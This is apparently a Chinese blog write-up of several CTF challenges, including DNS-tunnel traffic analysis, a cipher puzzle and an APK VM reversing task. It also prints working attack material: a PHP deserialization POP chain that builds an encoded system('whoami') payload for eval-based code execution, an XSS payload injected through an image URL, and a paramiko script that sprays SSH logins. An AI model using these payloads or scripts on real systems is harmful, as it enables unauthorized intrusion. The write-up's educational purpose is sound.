NSSROUND#18记录
前言
开工第一天,没啥活干。刚好新年的时候NSSROUND#18
举办了,找了几道题玩玩,看看能不能学习点新的东西。
[NSSRound#16 Basic]Litter
一道流量分析题,需要找出隧道工具的名称、重命名的文件、窃取的用户email。既然说是隧道工具,一般就是跟内穿有相关系,把重点放在TCP、dns、UDP等流量上。
观察流量,发现在157.145
和157.144
两个内网ip之间一直有频繁的microsofto365.com
的dns query
流量,并且microsofto365.com
前面都会跟着一串字符串,可疑。
通过tshark
提取出所有的dns query
流量,随便找几串会发现前面的奇怪字符串能够被十六进制解码显示一些Windows
相关的数据,于是将microsofto365.com
全部转出来
#tshark.exe -r A:\下载\suspicious_traffic.pcap -T fields -e dns.qry.name >A:\下载\data.txt
f=open("A:\下载\data.txt","rb").readlines()
k=open(r'A:\下载\result.txr','a')
for i in f:
if b'microsofto365.com' in i and len(i) > 100 :
text=i.decode().strip('\r\n')
text=text.strip('microsofto365.com').replace('.','')
k.write(text)
丢进去十六进制解码,会发现有很多东西,重命名隧道工具,可以搜索下常用的ren
命令,发现将一个dnscat2
的文件重命名为win_install.exe
,百度确认dnscat2
确实是一个隧道工具。
至于窃取的418行的用户邮箱密码,直接关键词搜索418,发现能够搜到文件函数对应的邮箱账号。
网警一道反序列化考题
一个朋友丢我的,叫我看一下,这道题给了很多个php文件,里面都有简单的代码,似乎让人浮想联翩。
反序列化中的题目代码如下:
<?php
highlight_file('index.php');
class Animal {
public $name;
public $color;
public function __get($var) {
return $this::{$var}($this->color);
}
public static function eat($str, $key = 'pwd') {
@$key = $key ? $key : $_COOKIE['PHPSESSID'];
$l = strlen($key);
$food = '';
for ($i=0;$i<strlen($str);$i++) {
$food .= $str[$i] ^ $key[$i%$l];
}
return $food;
}
public function __call($f,$v) {
$food = self::eat($v[0]);
eval($food);
}
}
class People {
public $name;
public $pet;
public function __toString() {
return (string)$this->pet->{$this->name}; //对象属性的赋值方式
}
}
echo unserialize(Animal::eat(base64_decode($_POST['hello'])));
开始看了好一会,因为漏掉了看echo
,想着是不是其它文件中的函数来触发这个文件,确实给的其它文件起到了一定干扰,后面重新审视题目看到了echo
,整条链就有触发点了,__toString()
->__get()
->__call
即可触发eval()
进行RCE
<?php
highlight_file('index.php');
class Animal {
public $name;
public $color;
}
class People {
public $name;
public $pet;
}
function eat($str, $key = 'pwd') {
@$key = $key ? $key : $_COOKIE['PHPSESSID'];
$l = strlen($key);
$food = '';
for ($i=0;$i<strlen($str);$i++) {
$food .= $str[$i] ^ $key[$i%$l];
}
return $food;
}
$a=new People();
$a->pet=new Animal();
$a->name='noexist';
$a->pet->color=eat('system("whoami");');
echo base64_encode(eat(serialize($a)));
[NSSROUND#18 Becomeroot]
一道Php8.1-dev
后门漏洞配合sudo1.8
提权的题目,直接就告诉你是php-8.1
,就是提权比较难找。
- 进入题目,直接就给出了
phpinfo
显示php8.1-dev
和flag在/root里面
,通过php8.1-dev
后门漏洞发送发送User-Agentt标头执行任意代码。
- 后面是提权,查看有没有
SUID
命令发现并没有异常,找敏感文件也没有找到,最终是查看sudo
的版本为1.8.3
并且恰巧也是ubuntu20.04
。链接:sudo1.8.3提权
拿到flag
[NSSROUND#18 门酱想玩什么呢?]
整个题目的打法就是XSS+CSRF
的打法,通过XSS
进行跨站伪造,让本站访问ymzx.qq.com
的网站,最终能够得到flag,作者的出题方法也是比较新奇。
- 首先在评论区页面,能够发布标题和评论,这里应该是可以进行
xss
,标题头处好像过滤了<、>
等这些符号,尝试了script
是没有显示,但是详细内容处是没有进行任何过滤。
- 在首页处可以看到
hint=nssctfroundSpring.php
,访问nssctfroundSpring.php
可以看到给出了部分关键源代码:
<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {
echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}
代码中将评论的内容对空格进行分割,第一个索引的内容要匹配到http://
开头,以.png
结尾,最终在$contentLines
最终索引要匹配到/png
,最终会输出到<img class="content" src=
中,用http://"><script>alert(1)</script>.png /png
形式就能完成XSS
- 最终通过
XSS
,将{"url":"http://node4.anna.nssctf.cn:28672/words/?title=dGVzdA%3D%3D&content=aHR0cCUzQSUyRiUyRiUyMiUzRSUzQ3NjcmlwdCUzRWxvY2F0aW9uLmhyZWYlM0QlMjJodHRwcyUzQSUyRiUyRnltengucXEuY29tJTJGJTIyJTNDJTJGc2NyaXB0JTNFLnBuZyUyMCUyRnBuZw%3D%3D"}
提交到king.php
中,就能通过本地访问圆梦之星网站,得到flag。
看了一下题目的源代码是怎么实现的,它就是通过php
的exec
执行了一个python的文件,python文件引入了谷歌的selenium
引擎,判断访问的domain
是否属于ymzx.qq.com
进而进行一定的判断。
[NSSRound#18 Basic]过年来下棋
密文为XXVAF AVXAX DXFVX DXDVA XAGV
,就是棋盘密码,密钥为lucky
[NSSRound#18 Basic]easy_rw
Dolphin Scheduler Admin
海豚调度系统,没懂这道题想考什么,作者提示弱口令就完事了,但是没有爆破到弱口令,扫了一下目录,发现存在actuator
信息泄露,查了一下是CVE-2023-48796
,最终是在env
端点泄露直接找到了flag
,除此之外就找到了用户是sa
,其它没有了,不过有点奇怪的是,平台上面没有看到有其它人的解。。。
[NSSRound#18 Basic]usersssssssss
遍历ssh
的用户登录,寻找flag的题目,flag就在用户目录下,密码是账号的md5
,用脚本遍历即可。
import hashlib
import paramiko
from hashlib import md5
file=open("A:\\下载\\wordlist.txt",'r').readlines()
p=open("A:\\下载\\md5.txt",'r').readlines()
usernameList=[]
passwordList=[]
for username in file:
username=username.strip('\n')
usernameList.append(username)
for i in p:
i=i.strip('\n')
passwordList.append(i)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for u in range(len(usernameList)):
username=usernameList[u]
password=passwordList[u]
hostname = "node4.anna.nssctf.cn"
port = 28532
try:
client.connect(hostname, port, username, password)
print("Connect success")
except:
print("fail")
stdin, stdout, stderr = client.exec_command("ls -alh")
res = stdout.read().decode()
print(username,password)
print(res)
if "flag" in res:
stdin, stdout, stderr = client.exec_command("cat flag.txt")
res = stdout.read().decode()
print(res)
print("success")
else:
print("fail")
client.close()
# laminous af9533540eaafd949e70f18ee0fabd47
[NSSRound#18 Basic]Number 7
182A1918071C152E0A4737263A3E780A6F6A075A112742777C687D0700773F7D39560063487D
,type7密码解密。
[NSSRound#18 Basic]温馨的酒吧
这道题可太有创意了,通过bilibili
故事线的形式去通过得到flag,直接一个个点手搓就能出了。
[NSSRound#18 Basic]EzADVM
一道Apk逆向VM
的题目,并不算很难。
- 首先逆向APK,可以看到逻辑很简单,调用了
stringFromJNI
方法处理输入的字符串,如果返回的是Right!
则就是flag
。
- 既然
APK
中并没有这个函数,那么就在so
中找,找到这个处理函数。
__int64 __fastcall Java_com_example_ezadvm_MainActivity_stringFromJNI(_JNIEnv *a1, __int64 a2, __int64 a3)
{
const char *v4; // rsi
const char *v5; // rsi
int v6; // eax
const char *v7; // rsi
__int64 StringUTFChars; // [rsp+60h] [rbp-9B0h]
int v10; // [rsp+6Ch] [rbp-9A4h]
int v11; // [rsp+70h] [rbp-9A0h]
__int64 v13; // [rsp+90h] [rbp-980h]
char v14[24]; // [rsp+190h] [rbp-880h] BYREF
char v15[24]; // [rsp+1A8h] [rbp-868h] BYREF
char v16[30]; // [rsp+1C0h] [rbp-850h] BYREF
char v17; // [rsp+1DEh] [rbp-832h] BYREF
char v18; // [rsp+1DFh] [rbp-831h]
char v19[1024]; // [rsp+1E0h] [rbp-830h] BYREF
char v20[8]; // [rsp+5E0h] [rbp-430h] BYREF
char v21[8]; // [rsp+5E8h] [rbp-428h] BYREF
char v22; // [rsp+5F0h] [rbp-420h] BYREF
char v23; // [rsp+5F1h] [rbp-41Fh]
char v24; // [rsp+5F2h] [rbp-41Eh]
char v25; // [rsp+5F3h] [rbp-41Dh]
char v26[8]; // [rsp+5F8h] [rbp-418h] BYREF
char s[1032]; // [rsp+600h] [rbp-410h] BYREF
unsigned __int64 v28; // [rsp+A08h] [rbp-8h]
v28 = __readfsqword(0x28u);
memset(s, 0, 0x400uLL);
memset(v26, 0, sizeof(v26));
memset(&v22, 0, 8uLL);
memset(v21, 0, sizeof(v21));
memset(v20, 0, sizeof(v20));
memset(&v17, 0, 2uLL);
memset(v19, 0, sizeof(v19));
__memset_chk(s, 0LL, 1024LL, 1024LL);
__memset_chk(v26, 0LL, 8LL, 8LL);
__memset_chk(&v22, 0LL, 8LL, 8LL);
__memset_chk(v21, 0LL, 8LL, 8LL);
__memset_chk(v20, 0LL, 8LL, 8LL);
__memset_chk(&v17, 0LL, 2LL, 2LL);
__memset_chk(v19, 0LL, 1024LL, 1024LL);
v11 = 0;
v10 = 1;
StringUTFChars = _JNIEnv::GetStringUTFChars(a1, a3, 0LL);
while ( 1 )
{
while ( 1 )
{
if ( !v10++ )
{
LABEL_29:
std::string::basic_string<decltype(nullptr)>(v14, "Error!");
v7 = (const char *)sub_20F50(v14);
v13 = _JNIEnv::NewStringUTF(a1, v7);
std::string::~string(v14);
return v13;
}
if ( code[v10] != 33 )
break;
__strcpy_chk(v19, StringUTFChars, 1024LL);
}
if ( code[v10] == 255 )
goto LABEL_29;
if ( code[v10] == 136 )
break;
switch ( code[v10] )
{
case 0xA1u:
s[v11 - 1] = v25 & v22;
break;
case 0xC3u:
v22 = v17 | v18;
break;
case 0xB2u:
v23 = ~v17;
break;
case 0xE5u:
v24 = ~v18;
break;
case 0xF1u:
v17 = v19[v11];
v18 = v19[++v11];
break;
case 0xD4u:
v25 = v24 | v23;
break;
case 0xBFu:
v6 = v11++;
v21[0] = s[v6];
break;
case 0x99u:
v11 = 0;
break;
case 0xBBu:
s[v11 - 1] = v11 + v21[0] - 1;
break;
}
}
if ( !memcmp(&flag, s, 0x20uLL) )
{
std::string::basic_string<decltype(nullptr)>(v15, "Right!");
v5 = (const char *)sub_20F50(v15);
v13 = _JNIEnv::NewStringUTF(a1, v5);
std::string::~string(v15);
}
else
{
std::string::basic_string<decltype(nullptr)>(v16, "Wrong!");
v4 = (const char *)sub_20F50(v16);
v13 = _JNIEnv::NewStringUTF(a1, v4);
std::string::~string(v16);
}
return v13;
}
通过code
进行while循环,有很多case
判断,通过不同的case
进行了不同的处理,处理完之后与输入的字符串比较,如果一样则成功。
分析一下code-case
的处理逻辑
code = [
0x21,0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53,
0x57, 0x44, 0x61, 0x44, 0x64, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
0xE5, 0xD4, 0xA1, 0x53, 0x57, 0x44, 0x61, 0x44, 0x64, 0xF1,
0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53,
0x57, 0x44, 0x61, 0x44, 0x64, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
0xE5, 0xD4, 0xA1, 0x53, 0x57, 0x44, 0x61, 0x44, 0x64, 0xF1,
0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x66, 0x6C, 0x61,
0x67, 0x7B, 0x59, 0x75, 0x69, 0x73, 0x61, 0x62, 0x65, 0x61,
0x75, 0x74, 0x69, 0x66, 0x75, 0x6C, 0x67, 0x69, 0x72, 0x6C,
0x7D, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
0xE5, 0xD4, 0xA1, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x59, 0x75,
0x69, 0x73, 0x61, 0x62, 0x65, 0x61, 0x75, 0x74, 0x69, 0x66,
0x75, 0x6C, 0x67, 0x69, 0x72, 0x6C, 0x7D, 0xF1, 0xC3, 0xB2,
0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x66,
0x6C, 0x61, 0x67, 0x7B, 0x59, 0x75, 0x69, 0x73, 0x61, 0x62,
0x65, 0x61, 0x75, 0x74, 0x69, 0x66, 0x75, 0x6C, 0x67, 0x69,
0x72, 0x6C, 0x7D, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1,
0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53, 0x57, 0x44, 0x61, 0x44,
0x64, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x59, 0x75, 0x69, 0x73,
0x61, 0x62, 0x65, 0x61, 0x75, 0x74, 0x69, 0x66, 0x75, 0x6C,
0x67, 0x69, 0x72, 0x6C, 0x7D, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53,
0x57, 0x44, 0x61, 0x44, 0x64, 0x66, 0x6C, 0x61, 0x67, 0x7B,
0x59, 0x75, 0x69, 0x73, 0x61, 0x62, 0x65, 0x61, 0x75, 0x74,
0x69, 0x66, 0x75, 0x6C, 0x67, 0x69, 0x72, 0x6C, 0x7D, 0xF1,
0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x66, 0x6C, 0x61, 0x67, 0x7B,
0x59, 0x75, 0x69, 0x73, 0x61, 0x62, 0x65, 0x61, 0x75, 0x74,
0x69, 0x66, 0x75, 0x6C, 0x67, 0x69, 0x72, 0x6C, 0x7D, 0xF1,
0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2,
0xE5, 0xD4, 0xA1, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4, 0xA1, 0x53,
0x57, 0x44, 0x61, 0x44, 0x64, 0xF1, 0xC3, 0xB2, 0xE5, 0xD4,
0xA1, 0x99, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
0xBF, 0xBB, 0x66, 0x6C, 0x61, 0x67, 0x7B, 0x59, 0x75, 0x69,
0x73, 0x61, 0x62, 0x65, 0x61, 0x75, 0x74, 0x69, 0x66, 0x75,
0x6C, 0x67, 0x69, 0x72, 0x6C, 0x7D, 0xBF, 0xBB, 0xBF, 0xBB,
0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB,
0xBF, 0xBB, 0xBF, 0xBB, 0xBF, 0xBB, 0x53, 0x57, 0x44, 0x44,
0xBF, 0xBB, 0xBF, 0xBB, 0x99, 0x53, 0x57, 0x44, 0x44, 0x53,
0x57, 0x44, 0x44, 0x88, 0xFF, 0x53, 0x57, 0x44, 0x44]
for i in code:
if i==0xA1:
print("flag[i-1]=v25&v22")
if i==0xC3:
print("v22=v17|v18")
if i==0xB2:
print("v23=~v17")
if i==0xE5:
print("v24=~v18")
if i==0xF1:
print("v17=v19[i]")
print("v18=v19[++i]")
if i==0xD4:
print("v25=v24|v23")
if i==0xBF:
print("v21[0]=s[i++]")
if i==0x99:
print("i=0")
if i==0xBB:
print("s[i-1]=i+v21[0]-1")
v17=v19[i]
v18=v19[++i]
v22=v17|v18
v23=~v17
v24=~v18
v25=v24|v23
flag[i-1]=v25&v22
很简单的发现整个代码都在循环执行flag[i-1]=(~v19[i]|~v19[++i])&(v19[i]|v19[++i])
,可以看作是(~a|~b)&(a|b)
,仔细看看发现它达到的效果和异或是一样的,相同返回0,不同返回1,当这些全部处理完,进行了`v21[0]=s[i++]
s[i-1]=i+v21[0]-1处理,就是对
flag[i]=flag[i]+i`的操作,那么整个逻辑就很简单了。
首先找到flag
的值如下:
flag=[0x1d, 0x01, 0x12, 0x1a, 0x16, 0x42, 0x39, 0xf, 0x38, 0x9, 0x13, 0x31, 0x28, 0x38, 0x67, 0x6e, 0x1b, 0x61, 0x7c, 0x24, 0x1f, 0x47, 0x44, 0x81, 0x6a, 0x2c, 0x6d, 0x2b, 0x2c, 0x2d, 0x6a, 0x9c];
for i in range(len(flag)):
flag[i]=flag[i]-i
for i in range(30, 0, -1):
flag[i] ^= flag[i + 1]
result = ''.join([chr(int(x)) for x in flag])
print(result)
文章标题:NSSROUND#18记录
文章链接:https://aiwin.fun/index.php/archives/4379/
最后编辑:2024 年 2 月 18 日 20:27 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)